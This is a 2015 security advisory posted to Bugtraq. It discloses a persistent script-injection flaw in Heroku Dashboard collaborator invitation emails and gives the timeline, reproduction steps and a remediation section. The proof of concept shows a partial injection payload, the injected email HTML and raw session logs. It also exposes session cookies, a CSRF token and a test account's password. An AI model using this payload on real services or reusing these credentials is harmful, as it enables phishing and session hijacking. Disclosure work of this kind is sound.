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Message-ID: <54B37A43.5070302@vulnerability-lab.com>
Date: Mon, 12 Jan 2015 08:39:47 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Heroku API Bug Bounty #1 - Persistent Invitation Vulnerability
Document Title:
===============
Heroku API Bug Bounty #1 - Persistent Invitation Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1300
Video: http://www.vulnerability-lab.com/get_content.php?id=1335
BugCrowd ID: e8a8ecb81b9bf115226ed2ff05937a0424da101610ba1289f027a1f8319d4eb9
Acknowledgement (Hall of Fame): https://bugcrowd.com/heroku/hall-of-fame
Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/01/09/heroku-bug-bounty-program-2015-persistent-invitation-vulnerability
Release Date:
=============
2015-01-09
Vulnerability Laboratory ID (VL-ID):
====================================
1300
Common Vulnerability Scoring System:
====================================
4.1
Product & Service Introduction:
===============================
Heroku provides you with all the tools you need to iterate quickly, and adopt the right technologies for your project.
Build modern, maintainable apps and instantly extend them with functionality from hundreds of cloud services providers
without worrying about infrastructure. Build. Deploy. Scale. Heroku brings them together in an experience built and
designed for developers. Scale your application by moving a slider and upgrade your database in a few simple steps.
Whether your growth happens over the year or overnight, you can grow on demand to capture opportunity.
Heroku (pronounced her-OH-koo) is a cloud application platform – a new way of building and deploying web apps. Our service
lets app developers spend their time on their application code, not managing servers, deployment, ongoing operations, or scaling.
Heroku was founded in 2007 by Orion Henry, James Lindenbaum, and Adam Wiggins.
(Copy of the Vendor Homepage: https://www.heroku.com/home )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent mail encoding web vulnerability has been discovered in the official Heroku Dashboard web-application (API).
Vulnerability Disclosure Timeline:
==================================
2014-08-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-08-27: Vendor Notification (Heroku Security Team - Bug Bounty Program)
2014-12-03: Vendor Response/Feedback (Heroku Security Team - Bug Bounty Program)
2015-01-08: Vendor Fix/Patch Notification (Heroku Developer Team - Reward: Bug Bounty)
2015-01-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Heroku
Product: Heroku Dashboard - Web Application (API) 2014 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent mail encoding web vulnerability has been discovered in the official Heroku Dashboard Web-Application (API).
The application-side issue allows remote attackers to compromise emails by injection of own malicious persistent context.
The heroku dashboard impact a vulnerability inside of the invite module. After the registration with a script code payload as first- &lastname.
The heroku online-service responds without secure encoded name value inside of the invitation mailing. The attacker went after the registration
to the following webpage (https://dashboard.heroku.com/apps/asdsad/access) and is able to include any email to stream inside of the invitation
to collaborate request own malicious script codes. The request method to inject the code by registration inside of the app service is POST.
The exploitation takes place after the local attacker included another remote email to stream unauthorized malicious persistent context in
outgoing emails of the heroku online-service through an invitation to collaborate.
In the main emails of the registration the context of the database has been parsed in outgoing mail. The heroku dashboard access service does
not encode the database context on invitations to collaborate context which results in the successful exploitation of the application-side issue.
The bug typus has been declared as persistent mail encoding web vulnerability in the heroku webserver service in connection with the vulnerable
application module/function. The sender email is the main heroku reply address. The bug execution occurs in the api validation of the form that
allows to contact via invite other email contacts. In the Dashboard beta of heroku is the same bug in the same module/function available because
only the frontend has been changed during the update.
The security risk of the persistent mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system)
count of 4.1. Exploitation of the persistent vulnerability in the `invitation to collaborate` module requires a low privileged heroku account
with low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
redirect to external source and persistent manipulation of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Heroku Dashboard > Apps > User[x] > Access
[+] Heroku Dashboard Beta > Apps > User[x] > Access
Vulnerable Function(s):
[+] Invitation to Collaborate
[+] Invitation
Affected Module(s):
[+] API
Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the security vulnerability ...
1. Register an account with a script code payload in the first- & last-name input fields
2. Save the context and access the account
3. Register a new random app inside of the dasboard
4. Switch to the apps > access section in the regular dasboard or via beta template
5. Add any random email or heroku user account mail to the access rules and save the context
Note: A notification mail arrives at the new registered access user inbox
6. The payload executes ahead to the mail mail body context because of the registered payload inside of the user profile values
7. Successful reproduce of the persistent web vulnerability!
PenTest Account: bkm@...lution-sec.com
User Password: chaos666
PoC: Mail Header > Source
----==_mimepart_53fe30f6c9dbf_79c5a2a6ac74767
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: 7bit
"><img src="x">%20%20>"<iframe src=a>%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO COLLABORATE HERE!!!] (admin@...lution-sec.com) has invited
you to collaborate on their app "asdsad" on Heroku:http://asdsad.herokuapp.com/
Since you already have an account with Heroku, you can get started by simply git cloning the app repository:
PoC: Invite to Collaborate (noreply@...oku.com)
<td style="vertical-align: top; text-align: left; padding: 0;" align="left" valign="top">
<h1 id="logo" style="color: #6E5BAA; display: block; font-family: hybrea, proxima-nova, 'helvetica neue', helvetica,
arial, geneva, sans-serif; font-size: 32px; font-weight: 200; text-align: left; margin: 0 0 40px;" align="left">
<img src="http://heroku.newsletter.s3.amazonaws.com/hk-logo.png" alt="heroku" style="outline: none; text-decoration: none; border: 0;" height="42" width="120"></h1>
<p style="margin: 20px 0;">"><img src="x">%20%20>"<iframe src="a">%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO COLLABORATE HERE!!!] (admin@...lution-sec.com) has
invited you to collaborate on their app "<a href="http://asdsad.herokuapp.com/" style="color: #6E5BAA;">asdsad</a>" on Heroku.</p>
<p style="margin: 20px 0;">Since you already have an account with Heroku, you can get started by simply git cloning the app repository:</p>
<blockquote style="border-radius: 5px; font-family: courier, monospace; background: #ebeaef; margin: 10px 0; border: 10px solid #ebeaef;">
<span class="shell" style="color: #6E5BAA;">$</span> git clone git@...oku.com:asdsad.git -o heroku
</blockquote>
<p style="margin: 20px 0;">See <a href="http://devcenter.heroku.com/articles/collab" style="color: #6E5BAA;">our quickstart guide</a> for additional information</p>
<p style="margin: 20px 0;">
The Heroku Team<br />
<a href="https://heroku.com" style="color: #6E5BAA;">https://heroku.com</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
<tr style="vertical-align: top; padding: 0;">
<td class="templateContainerPadding" align="center" valign="top" style="vertical-align: top; padding: 0 40px;">
<table id="footerContent" style="border-spacing: 0; border-collapse: collapse; font-family: proxima-nova, 'helvetica neue',
helvetica, arial, geneva, sans-serif; height: 100%; width: 100%; border-top-style: solid; border-top-color: #ebeaef; color: #999999; font-size: 12px;
background: #ffffff; margin: 0; padding: 0; border-width: 1px 0 0;">
<tr style="vertical-align: top; padding: 0;">
<td valign="top" style="vertical-align: top; text-align: left; padding: 0;" align="left">
<p style="margin: 20px 0;">
Heroku is the cloud platform for rapid deployment and scaling of web applications. Get up and running in minutes, then deploy instantly via Git.
</p>
<p style="margin: 20px 0;">
To learn more about Heroku and all its features, check out the Dev Center: <a href="https://devcenter.heroku.com/articles/quickstart"
style="color: #666666;">https://devcenter.heroku.com/articles/quickstart</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
<style type="text/css">
... ... ... ...
}
}
</style>
</body>
</html>
</body>
</html>
</iframe></p></td>
--- Poc Session Logs [POST] [Invite to Collaborate] (Notification API) ---
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commit
[Invite]
Response Header:
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Content-Type[text/html; charset=utf-8]
Date[Wed, 27 Aug 2014 19:26:46 GMT]
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21:26:27.201[474ms][total 1293ms] Status: 200[OK]
GET https://dashboard.heroku.com/apps/asdsad/access Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[13369] Mime Type[text/html]
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dashboard_session_nonce=0ddb0d38-d9be-4f65-82b4-19994d4222d3;
_ga=GA1.3.1421671373.1409166519;
__utma=155166509.1421671373.1409166519.1409166827.1409166827.1; __utmb=155166509.9.10.1409166827; __utmc=155166509;
__utmz=155166509.1409166827.1.1.utmcsr=devcenter.heroku.com|utmccn=(referral)|utmcmd=referral|utmcct=/articles/dynos;
visitor_id36622=271240760; flash=%7B%22notice%22%3A%22bkm%40evolution-sec.com+has+been+added+to+the+app+asdsad.%22%7D]
Connection[keep-alive]
Response Header:
Cache-Control[must-revalidate, no-cache, no-store, private]
Content-Type[text/html; charset=utf-8]
Date[Wed, 27 Aug 2014 19:26:47 GMT]
Expires[0]
Pragma[no-cache]
Request-Id[843d1f47-560b-4a1d-881c-fb1ec07968b9]
Server[nginx/1.5.7]
status[200 OK]
Strict-
Transport-Security[max-age=31536000]
X-Frame-Options[SAMEORIGIN]
X-Rack-Cache[miss]
X-Request-Id[843d1f47-560b-4a1d-881c-fb1ec07968b9]
x-runtime[0.287221]
x-ua-compatible[IE=Edge,chrome=1]
Content-Length
[13369]
Connection[keep-alive]
PoC: Invite via Dashboard Beta through Heroku API
<td style="vertical-align: top; text-align: left; padding: 0;" align="left" valign="top">
<h1 id="logo" style="color: #6E5BAA; display: block; font-family: hybrea, proxima-nova, 'helvetica neue',
helvetica, arial, geneva, sans-serif; font-size: 32px; font-weight: 200; text-align: left; margin: 0 0 40px;"
align="left"><img src="http://heroku.newsletter.s3.amazonaws.com/hk-logo.png" alt="heroku" style="outline: none; text-decoration: none;
border: 0;" height="42" width="120"></h1><p style="margin:
20px 0;">"><img src="x">%20%20>"<iframe src="a">%20<iframe>[PERSISTENT INJECTED SCRIPT CODE VIA INVITE TO HEROKU HERE!!!] (admin@...lution-sec.com) has
invited you to collaborate on their app "<a href="http://asdsad.herokuapp.com/" style="color: #6E5BAA;">asdsad</a>" on Heroku.</p>
<p style="margin: 20px 0;">Follow this link to get access:</p>
<p style="margin: 20px 0;"><a href="https://id.heroku.com/account/accept/2798200/b06b7e8d1ed89e674d607f25dab10a92"
style="color: #6E5BAA;">https://id.heroku.com/account/accept/2798200/b06b7e8d1ed89e674d607f25dab10a92</a></p>
<p style="margin: 20px 0;">Heroku is a cloud application platform – a new way of building and deploying web apps. Develop your app using your local tools,
then deploy via Git. After accepting the invitation, check out <a href="http://devcenter.heroku.com/articles/quickstart" style="color: #6E5BAA;">our quickstart guide</a></p>
<p style="margin: 20px 0;">To learn more about deploying apps on Heroku, <a href="http://devcenter.heroku.com" style="color: #6E5BAA;">check out the docs.</a></p>
<p style="margin: 20px 0;">Have fun, and don't hesitate to contact us with your feedback.</p>
<p style="margin: 20px 0;">
The Heroku Team<br />
<a href="https://heroku.com" style="color: #6E5BAA;">https://heroku.com</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</center>
--- PoC Session Logs (Invite to Heroku via Beta Theme) [POST] (Notification API) ---
22:25:24.964[743ms][total 743ms] Status: 201[Created]
POST https://dashboard-next.heroku.com/api/apps/2737d28a-9acd-4352-a3d4-b3efb5327d12/collaborators Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[211] Mime Type
[application/json]
Request Header:
Host[dashboard-next.heroku.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[application/vnd.heroku+json; version=3]
Accept-
Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/json; charset=UTF-8]
X-CSRF-Token[IKbYx6U4o8Drv7vgoT9gX45Jegk+XVigarkg4=]
X-Requested-With[XMLHttpRequest]
Referer
[https://dashboard-next.heroku.com/apps/asdsad/access]
Content-Length[41]
Cookie[_ga=GA1.2.1421671373.1409166519; __utma=148535982.1421671373.1409166519.1409166519.1409170245.2; __utmb=148535982.36.10.1409170245;
__utmc=148535982; __utmz=148535982.1409170245.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
optimizelySegments=%7B%22173438640%22%3A%22referral%22%2C%22173362769%22%3A%22ff%22%2C%22173444194%22%3A%22false
%22%2C%22221602555%22%3A%22referral%22%2C%22221841254%22%3A%22ff%22%2C%22221734991%22%3A%22false%22%7D;
optimizelyEndUserId=oeu1409166535240r0.4472799890466287; optimizelyBuckets=%7B%7D; mp_5414bf80e043619b56a936d7c7fe54d3_mixpanel=%7B
%22distinct_id%22%3A%20%222014-08-27%2019%3A09%3A15%20UTC%208fc99130-104b-0132-866c-062d1b005a52%22%2C%22%24
initial_referrer%22%3A%20%22https%3A%2F%2Fdevcenter.heroku.com%2Farticles%2Fdynos%22%2C%22%24initial_referring_domain%22%3A
%20%22devcenter.heroku.com%22%7D; heroku_session=1; heroku_session_nonce=0ddb0d38-d9be-4f65-82b4-19994d4222d3;
session=Zy3Pusin4kPPd6OSt9FhcA.neINSzdfS2R5CjblMoRCYUntFqVvMiYai26fqEvBjFzjfKLFCGPDOq_6gCE32OQk9SO974NplMf13oRR7W1wUpYefJ_4kYO72VsPtkRKlt1fJ_bbA13yUvVYIHHRwEvtWN_qjk7ZL-
Z09sewhk5I_YCfIEubvb4wNXAETzdbWwxLKNAf1HZQ5qkpKC4vXKpSrXIzkx1Zp1xvKuDFxayYaNA3F47iY7i-0mIdcC4qtP20EoaXPANL5YVoUdftj9LuFxMHqeolBDglB4wPTBoJO6rRYhXvF-S6D7VCQVUXUDpfHnw-
SizaiacWTAst7KBGtvMb5kUomoPk_7RqJhbWtd7l7opjWQoFdvGBlWCRCyuYQPVoEnT8RCH_cq5nkwKHMVBKFYSKTuBVDL9n6wxgkh8lofNVtL01sbCunT92Cg8QRvqLKuSfv2uPdFP0ZGDOBbxCAafFRz_7lppQ8TfA-
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8zaGwyCfLj6Dre30FaMRo_spHe_3WQqpmGdtccgHHVfv_fTFUwtmIPVGPV9lBNI-HdOhfTXe5vNwdMa4O_Zc8h3LJXY_SioLjT2rJpny5jyTpOmnGiKg7_5gBRrVho6a0X62v.1409166935525.86400000.SB-
x_q66Gn0thFKWXzZnGtWq4xqLkWMrXX-s6OPg4yU; __utma=155690030.1421671373.1409166519.1409166929.1409170304.2; __utmc=155690030;
__utmz=155690030.1409170304.2.2.utmcsr=dashboard.heroku.com|utmccn=(referral)|utmcmd=referral|utmcct=/apps/asdsad/access;
ref=lUfOxJR7MTq-HJ0g1YRMbgJitTUh-GL28r4373os2BeJj-FIGe2wFX7CZkOr-
wrZ6tI3U09rIeKWnfQ2P0aBX2MTYoqdRAdCNgAhXXBmKMuquCTPzqlPdhEPxdpdF70J%7CwCAYZcZQpXb_iEF_o-HTSQ%3D%3D%7Ce7cb9d999af74418ae28fb1d3b50be583ed9c91ef71f71aa6080f662f8e0a0f7;
__utmb=155690030.29.10.1409170304]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
{"user":"research@...nerability-lab.com"}[]
Response Header:
Cache-Control[no-cache]
Content-Type[application/json;charset=utf-8]
Date[Wed, 27 Aug 2014
20:25:45 GMT]
Oauth-Scope[global]
Oauth-Scope-Accepted[global write-protected]
Ratelimit-Remaining[2399]
Request-Id[fb852b2b-8596-4199-8093-4bf2f5c8c0a2]
Server[nginx/1.4.7]
status[201 Created]
Strict-Transport-Security[max-age=15768000]
Vary[Accept-Encoding]
x-content-type-options[nosniff]
X-Download-Options[noopen]
X-Frame-Options[DENY]
x-runtime[0.468937]
X-XSS-Protection[1; mode=block]
Content-Length[211]
Connection[keep-alive]
22:25:26.908[216ms][total 216ms] Status: 200[OK]
GET https://dashboard-next.heroku.com/alpha-api/notifications Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[2] Mime Type[application/json]
Request Header:
Host[dashboard-
next.heroku.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
Accept[application/vnd.heroku+json; version=3]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip,
deflate]
Content-Type[application/json]
X-CSRF-Token[IKbYx6U4o8Drv7vgoT9gX45Jegk+XVigarkg4=]
X-Requested-With[XMLHttpRequest]
Referer[https://dashboard-next.heroku.com/apps/asdsad/access]
Cookie
[_ga=GA1.2.1421671373.1409166519; __utma=148535982.1421671373.1409166519.1409166519.1409170245.2; __utmb=148535982.36.10.1409170245;
__utmc=148535982; __utmz=148535982.1409170245.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|
utmctr=(not%20provided); optimizelySegments=%7B%22173438640%22%3A%22referral%22%2C%22173362769%22%3A%22ff%22%2C%22173444194%22%3A%22
false%22%2C%22221602555%22%3A%22referral%22%2C%22221841254%22%3A%22ff%22%2C%22221734991%22%3A%22false
%22%7D; optimizelyEndUserId=oeu1409166535240r0.4472799890466287; optimizelyBuckets=%7B%7D; mp_5414bf80e043619b56a936d7c7fe54d3_mixpanel=%7B%22distinct_id
%22%3A%20%222014-08-27%2019%3A09%3A15%20UTC%208fc99130-104b-0132-866c-
062d1b005a52%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fdevcenter.heroku.com%2Farticles%2Fdynos%22%2C%22%24initial_referring_domain%22%3A%20%22
devcenter.heroku.com%22%7D; heroku_session=1; heroku_session_nonce=0ddb0d38-d9be-
4f65-82b4-19994d4222d3; session=Zy3Pusin4kPPd6OSt9FhcA.neINSzdfS2R5CjblMoRCYUntFqVvMiYai26fqEvBjFzjfKLFCGPDOq_6gCE32OQk9SO974NplMf13oRR7W1wUpYefJ_
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__utma=155690030.1421671373.1409166519.1409166929.1409170304.2; __utmc=155690030;
__utmz=155690030.1409170304.2.2.utmcsr=dashboard.heroku.com|utmccn=(referral)|utmcmd=referral|utmcct=/apps/asdsad/access;
ref=lUfOxJR7MTq-HJ0g1YRMbgJitTUh-GL28r4373os2BeJj-FIGe2wFX7CZkOr-
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__utmb=155690030.29.10.1409170304]
Connection[keep-alive]
Response Header:
Cache-Control[no-store, no-cache]
Content-Type[application/json]
Date[Wed, 27 Aug 2014 20:25:46 GMT]
Etag["223132457"]
Strict-Transport-Security[max-age=15768000]
x-content-type-options
[nosniff]
X-Download-Options[noopen]
X-Frame-Options[DENY]
X-XSS-Protection[1; mode=block]
Content-Length[2]
Connection[keep-alive]
Reference(s):
https://dashboard.heroku.com
https://devcenter.heroku.com
https://dashboard-next.heroku.com/api/apps/2737d28a-9acd-4352-a3d4-b3efb5327d12/collaborators
https://id.heroku.com/account/accept/2798200/b06b7e8d1ed89e674d607f25dab10a92
https://dashboard.heroku.com/apps/asdsad/access
https://dashboard-next.heroku.com/alpha-api/notifications
https://dashboard-next.heroku.com/alpha-api
https://dashboard-next.heroku.com/
Solution - Fix & Patch:
=======================
The persistent input validation web vulnerability can be patched by a secure parse and encode of the `first- & lastname` input values of the heroku profile.
Restrict the input fields on registration and disallow special char as name value input to prevent exploitation.
Filter and encode also the outgoing the `Invite to collaborate` and `Invite to heroku` mail context to prevent persistent script code execution, hijacking attacks or phishing attempts.
Security Risk:
==============
The security risk of the persistent mail encoding web vulnerability in the notification service (api) is estimated as medium. (CVSS 4.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
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Copyright © 2015 | Vulnerability Laboratory [Evolution Security]
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